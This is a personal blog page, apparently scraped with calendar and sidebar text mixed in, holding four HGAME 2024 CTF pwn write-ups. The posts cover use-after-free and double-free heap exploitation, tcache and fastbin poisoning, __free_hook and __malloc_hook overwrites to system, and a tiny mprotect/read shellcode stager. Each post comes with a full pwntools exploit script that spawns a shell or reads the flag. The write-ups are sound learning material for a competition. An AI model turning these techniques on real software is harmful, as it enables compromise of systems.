



搜索...

搜索

HGAME Elden Ring II WP

07.02.2024

CTF pwn

在写出这道题之前，我还是一个对堆一无所知的小白，能做出这道题也是比较幸运，因为这道题难度不大

这道题有四个功能，`add`, `delete`, `edit`, `put`，都是对堆进行处理，最多`add` 16个堆，并且在`free`之后没有进行置NULL，并且还有对其中内容完全的把控，并且还能写`0xff`的数据，如此多的条件，可见这道题目并没有很难，但对于堆小白的我来说，却是难如登天

大思路主要是，泄露地址，控制程序流程。我只在栈溢出中干过这些，但是堆也是可以的

YZS



搜索

2024年 2月

一	二	三	四	五	六	日
1	2	3	4			

首先，泄露地址：原因是main_arena（主线程的malloc_state）存在于libc之中，并且有些bin是双向链表，也就是说有的chunk被free之后会有指针指向libc中的地址，如果此时还能将这段部分看作是user data的话，并且还能够打印出user data的话，就能泄露出地址，并且由于main_arena在libc中的偏移确定，从而可以达到泄露整个地址的目的

其次，控制程序流程，使用的方式是tcache poisoning，首先要知道tcache是线程独立的一个bin，大小最大可以大过fastbin，并且优先级也比较高，在bin中是单链表，每个链表最多7个元素，大小相同，但是由于这道题目有UAF漏洞，我可以随意的更改tcache chunk中的next指针，试想，假如我将其中一个改成另外的地址，这个链表在这里就会中断，并且如果这个时候使用malloc，你就会得到一个存在于任意地址的chunk！

上述只是原理，在这道题目中，泄露地址首先需要一个双向链表，是使用的unsorted bin，直接写最大0xff的数据，malloc这样的chunk共8个，再free 8个，这样就会有一个进入unsorted bin中，为啥是unsorted呢，是因为emm就是这样的没有为什么，一定大小的chunk在进入small和large之前会先停留在unsorted中，并且第二个控制程序流程是通过修改__free_hook函数，这个函数在free时被调用，为的是执行用户自己定义的函数，在libc中所以我们也可以知道他的地址，将__free_hook函数修改为system函数的地址，再通过free("/bin/sh")来调用system函数（其实这里我有点晕，为什么将/bin/sh\x00

—	二	三	四	五	六	日
5	6	7	8	9	10	11
12	13	14	15	16	17	18
19	20	21	22	23	24	25
26	27	28	29			

[« 1月](#)

► contact me

博客评论需要经过一下我的审核，所以可能评论后无法马上显示（其实国家是不允许个人博客开评论的）

写到user data中再释放就能达到free(“bin/sh”)的效果)

exp如下

准备工作

```
1 from pwn import *
2 #p = process('./vuln')
3 p = remote("106.15.72.34",30147)
4 libc = ELF('./libc.so.6')
5 #context.log_level = 'debug'
6 #gdb.attach(p)
7 def add(idx,size):
8     p.sendlineafter(">",'1')
9     p.sendlineafter("Index: ",str(idx))
10    p.sendlineafter("Size: ",str(size))
11 def free(idx):
12     p.sendlineafter(">",'2')
13     p.sendlineafter("Index: ",str(idx))
14 def edit(idx,content):
15     p.sendlineafter(">",'3')
16     p.sendlineafter("Index: ",str(idx))
17     p.sendlineafter("Content: ",content)
18 def show(idx):
19     p.sendlineafter(">",'4')
20     p.sendlineafter("Index: ",str(idx))
```

泄露地址

```
21 add(7,0xff)
22 for i in range(0,7):
23     add(i,0xff)
24 for i in range(0,7):
25     free(i)
26 free(7)
27 show(7)
28
29 addr = (p.recvuntil(b'\x7f'))
30 addr+=b'\x00\x00'
31 maina = u64(addr)
32 libc_base = maina - 0x1ecbe0
33 system_addr = libc_base + libc.sym['system']
34 free_hook_addr = libc_base + libc.sym['__free_hook']
```

修改hook，控制程序流程

```
36 edit(6,p64(free_hook_addr))
37 add(8,0xff)
38 add(9,0xff)
39 edit(9,p64(system_addr))
40 add(10,10)
41 edit(10,'/bin/sh\x00')
42 free(10)
43 p.interactive()
```

pwn

[« Previous Post](#)

[Next Post »](#)

发表回复

以 YZS 的身份登录。 [编辑您的个人资料](#)。 [注销?](#) 必填项已用*标注

评论 *

[发表评论](#)

[计算机](#)

[一生一芯](#)

[预学习](#)

[B阶段](#)

[A阶段](#)

[slide](#)

[1_28进度汇报](#)

[CTF](#)

[pwn](#)

[reverse](#)

[关于爱情的科学指南](#)

HDOJ

[Blog Layouts WordPress Theme](#) created by [Rico](#)



搜索...

搜索

HGAME fastnote wp

07.02.2024

CTF pwn

ff1y学姐太阴险了，不管是这次的还是上次的ezshellcode，都存在一些很难发现的地方，如果只凭第一印象的感觉（之前学了一个词叫hack feel）做题，就会变成

这道题假如不是我某一次在exp中删除一些先前的一些尝试操作漏删掉了了一个show，结果执行的时候莫名其妙的出现了地址（我看到这串地址的时候还以为是出现魔法了哩，按照我之前的想法是绝不可能发生的），我恐怕不知道要多长时间才能发现，我估计会找各种各样的方式来做，但是实际上并不需要很高深的做法，仅仅只需要认真阅读好反汇编

真正迷惑了我的是在delete函数中

YZS



2024年 2月

一	二	三	四	五	六	日
	1	2	3	4		

```
1 unsigned __int64 delete()
2 {
3     unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
4     void *ptr; // [rsp+10h] [rbp-10h]
5     unsigned __int64 v3; // [rsp+18h] [rbp-8h]
6
7     v3 = __readfsqword(0x28u);
8     printf("Index: ");
9     __isoc99_scanf("%u", &v1);
10    if ( v1 > 0xF )
11    {
12        puts("There are only 16 pages.");
13    }
14    else
15    {
16        ptr = (void *)notes[v1];
17        if ( ptr )
18        {
19            free(ptr);
20            ptr = 0LL;
21        }
22        else
23        {
24            puts("No such note.");
25        }
26    }
27    return __readfsqword(0x28u) ^ v3;
28}
```

—	二	三	四	五	六	日
5	6	7	8	9	10	11
12	13	14	15	16	17	18
19	20	21	22	23	24	25
26	27	28	29			

[« 1月](#)

► contact me

博客评论需要经过一下我的审核，所以可能评论后无法马上显示（其实国家是不允许个人博客开评论的）



其中有一个ptr = 0的操作，我第一次一看到我就确信，这次绝对没有UAF漏洞了，毕竟在上一道堆题中就已经是有UAF漏洞了，考过数学的兄弟们都知道同一个知识点是不会即出现在选择题压轴题中又出现在填空题压轴题中的，但如果仔细看，相信大家很快就会发现，ptr是一个栈上的数据，ptr = 0不过只是在栈上清空了这个临时变量，我之所以说ffly学姐“阴险”，是因为假如指针没有真正置零，在上一道题目的add函数中就会检测到这个page已经被add了，不管你是否将它del掉，所以ffly姐在这个add函数中并没有加入这一层的检测，让我深深的确信指针已经被置零了，好在误打误撞的发现了。

之后就很简单了，难度和之前那道题目差不多了，唯一有一点点区别的是，这道题目没有专门的edit函数来写malloc到的空间了，写入操作和add操作合并了，这时候需要使用fastbin的double free，只需要在两次free操作之间插入一个其他的free就可以实现double free，然后再用两个malloc操作两次同一个区域，第一次操作就将指针改写成__hook_free函数的地址，第二次的再获得时就是获得了存在于__hook_free上的空间，再用system函数改写地址，再free("/bin/sh\x00")即可

exp如下

```
1 from pwn import *
2 #p = process('./vuln')
3 p = remote("106.14.57.14",31018)
4 libc = ELF('./libc-2.31.so')
5 context(log_level = "debug",arch = "amd64",os = "linux")
6 #gdb.attach(p)
7 def add(idx ,size, content):
8     p.sendlineafter("Your choice:",'1')
9     p.sendlineafter("Index: ",str(idx))
10    p.sendlineafter("Size: ",str(size))
11    if content == "":
12        p.sendafter("Content: ",content)
13    else:
14        p.sendlineafter("Content: ",content)
15 def show(idx):
16     p.sendlineafter("Your choice:",'2')
17     p.sendlineafter("Index: ",str(idx))
18 def free(idx):
19     p.sendlineafter("Your choice:",'3')
20     p.sendlineafter("Index: ",str(idx))
21
```

准备阶段

```
21
22 #leak
23 add(7,0x80,"abc")
24 for i in range(0,7):
25     add(i,0x80,"abc")
26 for i in range(0,7):
27     free(i)
28 free(7)
29 show(7)
30 addr = (p.recvuntil(b'\x7f'))
31 addr+=b'\x00\x00'
32 maina = u64(addr)
33 libc_base = maina - 0x1ecbe0
34 system_addr = libc_base + libc.sym['system']
35 free_hook_addr = libc_base + libc.sym['__free_hook']
36 "-----"
```

泄露地址

```
36 #double free
37 add(7,0x70,"abc")
38 add(8,0x70,"abc")
39 add(9,0x70,"abc")
40 for i in range(0,7):
41     add(i,0x70,"abc")
42 for i in range(0,7):
43     free(i)
44 free(7)
45 free(8)
46 free(9)
47 free(8)
```

```
48 #modify free hook func
49 for i in range(0,7):
50     add(i,0x70,"abc")
51 add(7,0x70,p64(free_hook_addr))
52 add(8,0x70,"abc")
53 add(9,0x70,"abc")
54 add(10,0x70,p64(system_addr))
55 add(11,0x20,"/bin/sh\x00")
56 free(11)
57 p.interactive()
```

pwn

[« Previous Post](#)

[Next Post »](#)

发表回复

以 YZS 的身份登录。 [编辑您的个人资料。](#) [注销?](#) 必填项已用*标注

评论 *

[发表评论](#)

[计算机](#)

[一生一芯](#)

[预学习](#)

[B阶段](#)

[A阶段](#)

[slide](#)

[1_28进度汇报](#)

[CTF](#)

[pwn](#)

[reverse](#)

[HDOJ](#)

[关于爱情的科学指南](#)



搜索...

搜索

HGAME old_fastnote wp

14.02.2024

CTF pwn

这道题和 fastnote 差不多，只是 libc 版本是 2.23，2.23 版本没有 tcache，导致一定会从 fastbin 中 malloc 出那个地址，但是 fastnote 的 malloc 有一个对 size 域的检查（此为 2.31 版，同样会有这个检查，但由于 tcache，所以绕过了）

```
if (__glibc_likely (victim != NULL)) //4.2.3 (检测)获得的victim
{
    size_t victim_idx = fastbin_index (chunksize (victim));
    if (__builtin_expect (victim_idx != idx, 0)) //4.2.3.1 将victim大小得到的idx和原本的需要的大小得到的idx做比较
        malloc_printerr ("malloc(): memory corruption (fast)");
```

所以要想办法伪造 size 域，ctfwiki 中介绍了这个方法，叫字节错位，[Fastbin Attack - CTF Wiki \(ctfwiki.org\)](https://ctfwiki.org/Fastbin_Attack_-_CTF_Wiki_(ctfwiki.org))

YZS



搜索

2024年 2月

— 二 三 四 五 六 日
1 2 3 4

不过在实现时我发现free hook不知道为啥不太行，就用malloc hook，用malloc hook一般是填上onegadgap的地址，但是他们的使用对于rsp有一定要求，于是就有了一个方法叫realloc抬栈，原因是realloc hook紧邻malloc hook，并且realloc有一段很长的对栈的操作，可以比较精准的控制栈，思路大概就是这样，exp如下：

—	二	三	四	五	六	日
5	6	7	8	9	10	11
12	13	14	15	16	17	18
19	20	21	22	23	24	25
26	27	28	29			

[« 1月](#)

► contact me

博客评论需要经过一下我的审核，所以可能评论后无法马上显示（其实国家是不允许个人博客开评论的）

```
1  from pwn import *
2  p = process('./vuln')
3  #p = remote("106.14.57.14",32527)
4  libc = ELF('./libc-2.23.so')
5  context(arch = "amd64",os = "linux")
6  context.log_level = "debug"
7  def add(idx ,size, content):
8      p.sendlineafter("Your choice:",'1')
9      p.sendlineafter("Index: ",str(idx))
10     p.sendlineafter("Size: ",str(size))
11     if content == "":
12         p.sendafter("Content: ",content)
13     else:
14         p.sendlineafter("Content: ",content)
15 def show(idx):
16     p.sendlineafter("Your choice:",'2')
17     p.sendlineafter("Index: ",str(idx))
18 def free(idx):
19     p.sendlineafter("Your choice:",'3')
20     p.sendlineafter("Index: ",str(idx))
21 #leak
22 add(7,0x80,"abc")
23 add(0,0x80,"abc")
24 free(7)
25 show(7)
26 addr = (p.recvuntil(b'\x7f'))
27 addr+=b'\x00\x00'
28 maina = u64(addr)
29 libc_base = maina - 0x3c4b78
30 system_addr = libc_base + libc.sym['system']
31 one_gadget = libc_base + 0xf1247
32 malloc_hook_addr = libc_base + libc.sym['__malloc_hook']
33 binsh_addr = libc_base+next(libc.search(b"/bin/sh"))
34 print(hex(maina))
35 add(1,0x60,"abc")
36 add(2,0x60,"abc")
37 add(3,0x60,"abc")
38 free(1)
39 free(2)
40 free(3)
41 free(2)
```

```
42 add(4,0x60,p64(malloc_hook_addr-16-3-16))
43 add(5,0x60,"abc")
44 add(6,0x60,"abc")
45 #print("one_gadget:")
46 #print(hex(one_gadget))
47 #add(10,0x60,b'\x00'*(3+8)+p64(one_gadget)+p64(libc_base+0x8471B))
48 gdb.attach(p)
49 p.sendlineafter("Your choice:",'1')
50 p.sendlineafter("Index: ",str(11))
51 p.sendlineafter("Size: ",p64(binsh_addr))
52 p.interactive()
53
```

pwn

[« Previous Post](#)

发表回复

以 YZS 的身份登录。 [编辑您的个人资料](#)。 [注销?](#) 必填项已用*标注

评论 *

[发表评论](#)

计算机

一生一芯

预学习

B阶段

A阶段

slide

1_28进度汇报

CTF

pwn

reverse

HDOJ

关于爱情的科学指南

[Blog](#) [Layouts](#) [WordPress](#) [Theme](#) created by [Rico](#)



搜索...

搜索

HGAME ShellcodeMaster wp

09.02.2024

CTF pwn

这道题给我幼小的心灵造成了极大的震撼，我是第一次自己写 shellcode（哎，从 hgame 开始到现在，基本每道题我都是第一次做，现学现做，不是靠着 ysyx 项目积累的一点基础恐怕我早就放弃了），但是这道题目写的时间并不长（相比前几道堆题来说）

首先分析反汇编

YZS



2024年 2月

一	二	三	四	五	六	日
1	2	3	4			

The screenshot shows the assembly view in IDA Pro. The code is written in C-like syntax with some assembly annotations. It includes a call to `init(argc, argv, envp);`, a call to `sandbox();`, and a `mmap` call to map memory at `0x2333000`. The code then prints a message about shellcode, performs a `read` operation, prints "Love!", and uses `mprotect` to change permissions. Finally, it performs a `JMPOUT` to the mapped memory.

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     void *buf; // [rsp+8h] [rbp-8h]
4
5     init(argc, argv, envp);
6     sandbox();
7     buf = (void *)intmmap((void *)0x2333000, 0x1000uLL, 7, 34, -1, 0LL);
8     puts("I heard that a super shellcode master can accomplish 2 functions with 0x16 bytes shellcode\n");
9     read(0, buf, 0x16uLL);
10    puts("Love!");
11    mprotect(buf, 0x1000uLL, 4);
12    JMPOUT(0x2333000LL);
13}
```

这道题目对于写shellcode有三个限制，每一个限制都是要我命

- 1. 沙盒禁用execve和execvat
- 2. 空间只有0x16
- 3. 最后将shellcode的区域的读写权限关掉了

第一个，导致我只能用orw，但是orw需要的空间比较大，0x16必然是不可能的，其实我这里不太会操作，搜了一下google，竟然搜到了hgame 2023的这类题（我不是故意的😅），思路的话就是扩展空间，用一个小shellcode用read系统调用加载一个大的shellcode，但是，2024的这个没有那么简单，它最后对这个空间设置了权限，一个很自然的想法就是在这0x16的空间，先用mprotect解开权限，再用read申请大空间加载一个大shellcode，可以与文字提示相印证“`I heard that a super shellcode master can accomplish 2 functions with 0x16 bytes shellcode`”，2 function是不是就是指的这两个呢，我猜估计是，于是，接下来就是这道题最麻烦的地方了，在0x16的空间写下mprotect和read两个系统调用（并且不能有涉及栈的操作，因为所有寄存器会在最后被设置成0x2333，除了跳转的r15是0x2333000）

在这个过程中，我经历了从0x19到0x18再到0x17最后成功0x16的过程（太感人了😢）

我将讲解我的几个优化点

首先是mprotect的syscall

一	二	三	四	五	六	日
5	6	7	8	9	10	11
12	13	14	15	16	17	18
19	20	21	22	23	24	25
26	27	28	29			

« 1月

▶ contact me

博客评论需要经过一下我的审核，所以可能评论后无法马上显示（其实国家是不允许个人博客开评论的）

```
8 shl edi,0xc  
9 mov ax,0xa  
10 mov dx,0x7  
11 syscall
```

函数原型int mprotect(void *addr, size_t len, int prot); 主要是针对len的优化，也就是用rsi现有的值，第九第十行特别占空间，每条都是4字节指令，但是我是真的不会优化这几条指令

```
12 xchg eax,edx  
13 xor eax,eax  
14 mov edi,eax  
15 mov esi,ecx  
16 syscall
```

函数原型ssize_t read(int fd, void *buf, size_t count); 主要的优化是第12行，
xchg指令，在交换eax和edx的值时只有一字节长度（我从0x17到0x16就靠的是他），edx传递的是
大小，不知为什么，第一个syscall的返回值是一个负数，这就导致了eax是一个巨大的数（由于
size_t是个unsigned），第二个优化是用e的寄存器而不是r，e的普遍会更短。上述两段加起来正好0x16字节。

之后就很简单了，只需要将flag字符串写到上面，空隙用0填充，最后加上orw的shellcode即可
(注意，这段shellcode是不能操作栈的，由于不能操作栈，网上没有这样的，还是我亲自指挥gpd
写的hhh)

exp

```
1 from pwn import *
2 #p = process('./vuln')
3 p = remote("106.14.57.14",31836)
4 #gdb.attach(p)
5 context(log_level = "debug",arch = "amd64",os = "linux")
6 shellcode1 =asm("""
7 shl edi,0xc
8 mov ax,0xa
9 mov dx,0x7
10 syscall
11 xchg eax,edx
12 xor eax,eax
13 mov edi,eax
14 mov esi,ecx
15 syscall
16 """)
17 p.send(shellcode1)
18 payload =b'\x66\x6c\x61\x67' +b'\x00'*5
19 shellcode2 = asm("""
20 mov rax, 2
21 mov rdi,0x233300d
22 xor rsi, rsi
23 syscall
24 mov rdi, rax
25 mov rax, 0
26 mov rsi, 0x2333000
27 mov rdx, 100
28 syscall
29 mov rax, 1
30 mov rdi, 1
31 syscall
32 """)
33 p.send(payload+shellcode2)
34 p.interactive()
```

pwn

[« Previous Post](#)

[Next Post »](#)

发表回复

以 YZS 的身份登录。 [编辑您的个人资料](#)。 [注销?](#) 必填项已用*标注

评论 *

[发表评论](#)

计算机
[一生一芯](#)
预学习
B阶段
A阶段
[slide](#)
[1_28进度汇报](#)
[CTF](#)
[pwn](#)

关于爱情的科学指南

[reverse](#)

[HDOJ](#)

[Blog Layouts WordPress Theme](#) created by [Rico](#)